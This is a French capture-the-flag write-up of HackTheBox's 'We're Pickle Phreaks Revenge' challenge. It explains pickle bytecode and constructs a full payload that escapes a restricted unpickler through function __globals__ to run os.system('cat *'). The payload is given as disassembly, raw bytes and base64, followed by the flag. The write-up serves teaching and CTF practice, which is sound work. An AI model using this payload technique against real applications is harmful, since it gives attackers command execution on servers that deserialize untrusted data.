We're Pickle Phreaks Revenge
Intro
Voici un write-up du challenge “We’re Pickle Phreaks Revenge” du ctf Cyber Apocalypse 2024 d’HackTheBox, classé Médium dans la catégorie misc
.
Après avoir flag le challenge d’un polyglot, j’ai rejoins @eparisot sur cette jail.
Le challenge étant principalement basé sur l’exploitation de pickle, une explication de cette fonctionnalité de python s’impose.
Pickle késaco
Un pickle est la représentation textuelle d’un objet python, cette bibliothèque permet par exemple de sauvegarder l’état d’un objet en le “dumpant” (str = pickle.dumps(obj)
).
Elle permet aussi de le recharger en “loadant” (obj = pickle.loads(str)
) la string précédement dumpé.
Fonctionnellement parlant, la chaine d’octet picklé est enfaite la représentation d’une suite d’instruction (comme l’assembleur) propre à pickle lui même.
Lors du chargement d’un objet par le biais d’une string pickle, les instructions sont interprétées et peuvent stocker des élements dans une stack LIFO.
Les instructions sont disponible ici (version 3.8).
Voici un exemple simple de “programme” en pickle :
ps : la méthode dis
de pickletools permet d’obtenir une interprétation du bytecode en instruction lisible
1>>> s = b'\x80\x04\x95\x05\x00\x00\x00\x00\x00\x00\x00\x8c\x06coucou\x85.'
2>>> pickletools.dis(s)
3 0: \x80 PROTO 4
4 2: \x95 FRAME 5
5 11: \x8c SHORT_BINUNICODE 'coucou'
6 19: \x85 TUPLE1
7 20: . STOP
8highest protocol among opcodes = 4
9>>> pickle.loads(s)
10('coucou',)
Ici, la partie qui nous intéresse commence à SHORT_BINUNICODE
(\x8c
). C’est une instruction pour push une str
. Il faut ensuite la taille de cette str
, ici \x06
soit 6, puis la string, ici “coucou”.
Lors de l’exécution, cette string est mise sur le haut de notre stack.
L’instruction TUPLE1
(\x85
) va ensuite pop le premier élément de notre stack (ici une str
contenant “coucou”) et va le push sous forme de tuple.
Le STOP
(.
) signifie la fin du programme.
Lors d’un loads()
, le dernier élement sur la stack est renvoyé, ici le tuple contenant la string coucou
.
Tatonnement du challenge
Lors du lancement du programme, ce dernier nous propose 3 options :
- Voir les membres
- Ajouter un membre
- Quitter le programme
Notre nouveau membre ne fonctionne pas, au vu du message d’erreur, le programme attendait que l’on rentre notre membre en base64.
Explication du challenge
Le programme démarre en initialisant des classes Phreaks
, ces Phreaks
sont ensuite picklé via une fonction de protection nommée pickle
et stockés dans une variable global members
.
1members = []
2
3class Phreaks:
4 def __init__(self, hacker_handle, category, id):
5 self.hacker_handle = hacker_handle
6 self.category = category
7 self.id = id
8
9 def display_info(self):
10 print(f'Hacker Handle {self.hacker_handle}')
11 [...]
12
13def add_existing_members():
14 members.append(pickle(Phreaks('Skrill', 'Rev', random.randint(1, 10000))))
15 members.append(pickle(Phreaks('Alfredy', 'Hardware', random.randint(1, 10000))))
16 members.append(pickle(Phreaks('Suspicious', 'Pwn', random.randint(1, 10000))))
17 members.append(pickle(Phreaks('Queso', 'Web', random.randint(1, 10000))))
18 [...]
19
20def main():
21 add_existing_members()
22 [...]
La fonction de protection pour pickler va simplement mettre en base64 notre objet et le pickler (la variable global members
est donc une list de string en base64 d’objet python picklé).
1def pickle(obj):
2 return b64encode(_pickle.dumps(obj))
Le programme va ensuite boucler à l’infini et nous proposer :
- d’ajouter un Phreaks
- de voir les Phreaks
1def main():
2 [...]
3 while True:
4 option = int(input('> '))
5 if option == 1:
6 view_members()
7 elif option == 2:
8 register_member()
9 [...]
La fonctionnalité d’ajout de membre nous demande de rentrer notre Phreaks (sous la forme d’une classe python picklé encodé en base64)
1def register_member():
2 pickle_data = input('Enter new member data: ')
3 members.append(pickle_data)
La fonction permettant de voir les membres itère sur la variable global members
, utilise une fonction de désérialisation nommée unpickle
. Elle exécute ensuite leur méthode display_info
.
1def view_members():
2 for member in members:
3 try:
4 member = unpickle(member)
5 member.display_info()
6 [...]
La fonction de désérialisation nommée unpickle
fonctionne comme suit :
- Elle enlève l’encodage base64 de notre string
- Elle initialise une classe
RestrictedUnpickler
en passant en argument notre string picklé - Elle utilise la méthode
load
afin de convertir la string en objet python
1def unpickle(data):
2 return RestrictedUnpickler(BytesIO(b64decode(data))).load()
RestrictedUnpickler
est une classe défini dans le challenge. Classe héritant de _pickle.Unpickler
et qui surcharge la fonction find_class
.
1ALLOWED_PICKLE_MODULES = ['__main__', 'app']
2UNSAFE_NAMES = ['__builtins__', 'random']
3
4class RestrictedUnpickler(_pickle.Unpickler):
5 def find_class(self, module, name):
6 print(module, name)
7 if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
8 return super().find_class(module, name)
9 raise _pickle.UnpicklingError()
Avant de comprendre son usage, il s’agit de comprendre l’utilité originelle de cette fonction find_class
.
(code tronqué issue du code source de pickle)
1 def find_class(self, module, name):
2 [...]
3 __import__(module, level=0)
4 [...]
5 return getattr(sys.modules[module], name)
Cette fonction prend en paramètre 2 str, module
et name
, elle importe le module et fait ensuite un getattr
du name
sur le nouveau module importé.
Cette fonction est notamment appelé par l’instruction STACK_GLOBAL
(\x93
). Cette instruction pop 2 str (module
et name
) du haut de notre stack pickle et appelle find_class
avec en argument ces 2 str.
Elle push ensuite le résultat de cette fonction sur notre stack.
Exemple:
1>>> s = b'\x80\x04\x95\x09\x00\x00\x00\x00\x00\x00\x00\x8c\x02os\x8c\x06system\x93.'
2>>> pickletools.dis(s)
3 0: \x80 PROTO 4
4 2: \x95 FRAME 9
5 11: \x8c SHORT_BINUNICODE 'os'
6 15: \x8c SHORT_BINUNICODE 'system'
7 23: \x93 STACK_GLOBAL
8 24: . STOP
9highest protocol among opcodes = 4
10>>> pickle.loads(s)
11<built-in function system>
Ici, on met sur notre stack la string os
, puis la string system
. Ensuite, on fait un STACK_GLOBAL
ce qui va importer le module os
puis faire un getattr(os, 'system')
, nous renvoyant la fonction system
.
Revenons à notre fonction find_class
surchargé.
1ALLOWED_PICKLE_MODULES = ['__main__', 'app']
2UNSAFE_NAMES = ['__builtins__', 'random']
3
4def find_class(self, module, name):
5 print(module, name)
6 if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
7 return super().find_class(module, name)
8 raise _pickle.UnpicklingError()
Ici, la fonction throw une erreur si le premier argument module
est autre que __main__
ou app
. (Le module à importer)
Elle throw également une erreur si l’argument name
commence par __builtins__
ou random
. (L’objet à résoudre sur le module)
Enfin, si module
et name
respectent les restrictions imposées, la fonction find_class
originelle est appelée.
Pwn
Ici, notre but va être de créer un nouveau Phreaks
en envoyant une suite d’instruction pickle en base64.
Puis de voir les membres (ce qui va enlever l’encodage base64 et unpickle
) afin d’avoir une exécution de notre bytecode pickle.
Le tout en tentant de contourner les restrictions mise en place sur find_class
.
Il n’est pas possible de simplement récuperer system
comme dans l’exemple ci-dessus, car le chargement d’autres modules que app
ou __main__
est interdit (on chargerait ici le module os
).
Notre but premier va être de récuperer les builtins
afin d’obtenir l’objet import
.
Nous sommes en python 3.8, dans cette version, les fonctions possèdent un attribut de type dict nommé __globals__
. Ce dict possède entre autre les builtins (la clé est __builtins__
).
ps : en python 3.10 et versions supérieurs, les fonctions ne possèdent plus l’attribut __globals__
mais possèdent à la place l’attribut __builtins__
.
Exemple:
1>>> import app
2>>> app.add_existing_members.__globals__.get('__builtins__')
3{'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and oth[...]
On sait désormais comment récuperer la méthode get
de l’objet __global__
via pickle mais un problème subsiste. Comment faire (en pickle) pour l’appeler ?
L’instruction REDUCE
(r
) va nous être utile, cette instruction attend sur notre stack l’objet à appeler (ici la méthode get
de l’objet __globals__
) et un tuple contenant les arguments à passer à la fonction.
1>>> s = b'\x80\x04\x95\x39\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x8c\x24add_existing_members.__globals__.get\x93\x8c\x0c__builtins__\x85R.'
2>>> pickletools.dis(s)
3 0: \x80 PROTO 4
4 2: \x95 FRAME 57
5 11: \x8c SHORT_BINUNICODE 'app'
6 16: \x8c SHORT_BINUNICODE 'add_existing_members.__globals__.get'
7 54: \x93 STACK_GLOBAL
8 55: \x8c SHORT_BINUNICODE '__builtins__'
9 69: \x85 TUPLE1
10 70: R REDUCE
11 71: . STOP
12highest protocol among opcodes = 4
13>>> pickle.loads(s)
14{'__name__': 'builtins', '__doc__': "Built-in f[...]
Pour résumer:
- push
'app'
- push
'add_existing_members.__globals__.get'
- exécuter
STACK_GLOBAL
afin d’obtenir la méthodeget
- push
'__builtins__'
- exécuter
TUPLE1
pour mettre'__builtins__'
sous forme de tuple - exécuter
REDUCE
afin de faire un__globals__.get('__builtins__')
On arrive à récuperer les builtins python sous la forme d’un dict dans notre stack pickle, on ne peux toutefois rien en faire car nous n’avons pas accès à getattr
afin d’accèder aux méthodes tel que __import__
.
Pour y avoir accès, on va relocaliser nos builtins dans un endroit plus accessible. Dans notre cas, nous avons choisi de les relocaliser dans les globals de la fonction qui vient de nous permettre d’obtenir les builtins.
On souhaite les copier en utilisant la méthode update
du dict contenant les globals.
Retranscit en python, ce que l’on souhaite faire ressemble à cela:
1>>> var = app.add_existing_members.__globals__.get('__builtins__')
2>>> app.add_existing_members.__globals__.update(var)
3>>> app.add_existing_members.__globals__.get('__import__')
4<built-in function __import__>
On va donc push sur notre stack la méthode update
de __globals__
, nos __builtins__
, faire un TUPLE1
, puis un REDUCE
.
1 0: \x80 PROTO 4
2 2: \x95 FRAME 107
3 11: \x8c SHORT_BINUNICODE 'app'
4 16: \x8c SHORT_BINUNICODE 'add_existing_members.__globals__.update'
5 57: \x93 STACK_GLOBAL
6 58: \x8c SHORT_BINUNICODE 'app'
7 63: \x8c SHORT_BINUNICODE 'add_existing_members.__globals__.get'
8 101: \x93 STACK_GLOBAL
9 102: \x8c SHORT_BINUNICODE '__builtins__'
10 116: \x85 TUPLE1
11 117: R REDUCE
12 118: \x85 TUPLE1
13 119: R REDUCE
14 120: . STOP
ps : Notez que le code ici présent, bien qu’un peu complexe au premier abord, change très peu de celui de la vidéo ci-dessus. Seuls l’obtention de la méthode update
et l’utilisation de cette dernière via un TUPLE1, REDUCE
supplémentaire ont été ajouté.
On peut maintenant accèder aux builtins en passant par l’objet __globals__
de notre fonction add_existing_members
!
Nous allons avoir besoin d’un getattr
afin d’accèder à la méthode system
du module os
que nous allons importer par la suite. Nous allons donc push un “gadget” getattr
.
1 120: \x8c SHORT_BINUNICODE 'app'
2 125: \x8c SHORT_BINUNICODE 'add_existing_members.__globals__.get'
3 163: \x93 STACK_GLOBAL
4 164: \x8c SHORT_BINUNICODE 'getattr'
5 173: \x85 TUPLE1
6 174: R REDUCE
Puis on va push la fonction __import__
, la string os
et récuperer le module os
dans notre stack.
1 175: \x8c SHORT_BINUNICODE 'app'
2 180: \x8c SHORT_BINUNICODE 'add_existing_members.__globals__.get'
3 218: \x93 STACK_GLOBAL
4 219: \x8c SHORT_BINUNICODE '__import__'
5 231: \x85 TUPLE1
6 232: R REDUCE
7 233: \x8c SHORT_BINUNICODE 'os'
8 237: \x85 TUPLE1
9 238: R REDUCE
Notre “gadget” getattr
pushé précédemment va maintenant nous être utile, notre stack est actuellement composée, de haut en bas :
- le module
os
- la fonction builtin
getattr
On va donc push la string system
et exécuter TUPLE2
afin d’avoir un tuple contenant le module os
et la string system
. Puis exécuter REDUCE
afin d’obtenir la fonction system
dans notre stack.
- ps : à la différence de
TUPLE1
,TUPLE2
met dans un tuple les 2 argments du haut de notre stack (à la place d’un seul) - ps2 :
TUPLE3
existe
1 239: \x8c SHORT_BINUNICODE 'system'
2 247: \x86 TUPLE2
3 248: R REDUCE
Notre stack est maintenant composé de la fonction system
.
Pour exécuter celle-ci, il nous suffit de push une str contenant la commande à executer (ici cat *
), d’exécuter TUPLE1
et REDUCE
.
1 249: \x8c SHORT_BINUNICODE 'cat *'
2 256: \x85 TUPLE1
3 257: R REDUCE
4 258: . STOP
Résumé de l’exploit :
- push
__globals__.update
afin de relocaliser les builtins - push nos builtins
- appeler la fonction
update
avec nos builtins en argument - push un
getattr
- récupérer le module
os
- faire usage du
getattr
pour récupérersystem
sur le moduleos
- appeler
system
avec en argument une commande à executer
Assemblage de la charge utile :
1 0: \x80 PROTO 4
2 2: \x95 FRAME 243
3 11: \x8c SHORT_BINUNICODE 'app'
4 16: \x8c SHORT_BINUNICODE 'add_existing_members.__globals__.update'
5 57: \x93 STACK_GLOBAL
6 58: \x8c SHORT_BINUNICODE 'app'
7 63: \x8c SHORT_BINUNICODE 'add_existing_members.__globals__.get'
8 101: \x93 STACK_GLOBAL
9 102: \x8c SHORT_BINUNICODE '__builtins__'
10 116: \x85 TUPLE1
11 117: R REDUCE
12 118: \x85 TUPLE1
13 119: R REDUCE
14 120: \x8c SHORT_BINUNICODE 'app'
15 125: \x8c SHORT_BINUNICODE 'add_existing_members.__globals__.get'
16 163: \x93 STACK_GLOBAL
17 164: \x8c SHORT_BINUNICODE 'getattr'
18 173: \x85 TUPLE1
19 174: R REDUCE
20 175: \x8c SHORT_BINUNICODE 'app'
21 180: \x8c SHORT_BINUNICODE 'add_existing_members.__globals__.get'
22 218: \x93 STACK_GLOBAL
23 219: \x8c SHORT_BINUNICODE '__import__'
24 231: \x85 TUPLE1
25 232: R REDUCE
26 233: \x8c SHORT_BINUNICODE 'os'
27 237: \x85 TUPLE1
28 238: R REDUCE
29 239: \x8c SHORT_BINUNICODE 'system'
30 247: \x86 TUPLE2
31 248: R REDUCE
32 249: \x8c SHORT_BINUNICODE 'cat *'
33 256: \x85 TUPLE1
34 257: R REDUCE
35 258: . STOP
1>>> s = b'\x80\x04\x95\x01\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x8c\x27add_existing_members.__globals__.update\x93\x8c\x03app\x8c\x24add_existing_members.__globals__.get\x93\x8c\x0c__builtins__\x85R\x85R\x8c\x03app\x8c\x24add_existing_members.__globals__.get\x93\x8c\x07getattr\x85R\x8c\x03app\x8c\x24add_existing_members.__globals__.get\x93\x8c\x0a__import__\x85R\x8c\x02os\x85R\x8c\x06system\x86R\x8c\x05cat *\x85R.'
2>>> base64.b64encode(s)
3b'gASVAQAAAAAAAACMA2FwcIwnYWRkX2V4aXN0aW5nX21lbWJlcnMuX19nbG9iYWxzX18udXBkYXRlk4wDYXBwjCRhZGRfZXhpc3RpbmdfbWVtYmVycy5fX2dsb2JhbHNfXy5nZXSTjAxfX2J1aWx0aW5zX1+FUoVSjANhcHCMJGFkZF9leGlzdGluZ19tZW1iZXJzLl9fZ2xvYmFsc19fLmdldJOMB2dldGF0dHKFUowDYXBwjCRhZGRfZXhpc3RpbmdfbWVtYmVycy5fX2dsb2JhbHNfXy5nZXSTjApfX2ltcG9ydF9fhVKMAm9zhVKMBnN5c3RlbYZSjAVjYXQgKoVSLg=='
HTB{Y0U_7h1nK_JUs7_ch3ck1n9_S0M3_m0DUL3_NAm3s_1s_3n0u9H_70_s70p_93771n9_Pwn3d??}
Conclusion
Des exploits bien plus simple en utilisant pikora existent mais le faire à la main est bien plus classe !
Challenge bien prise de tête surtout quand la version de python n’est pas indiqué (les builtins sont bien plus facilement récupérable en 3.11).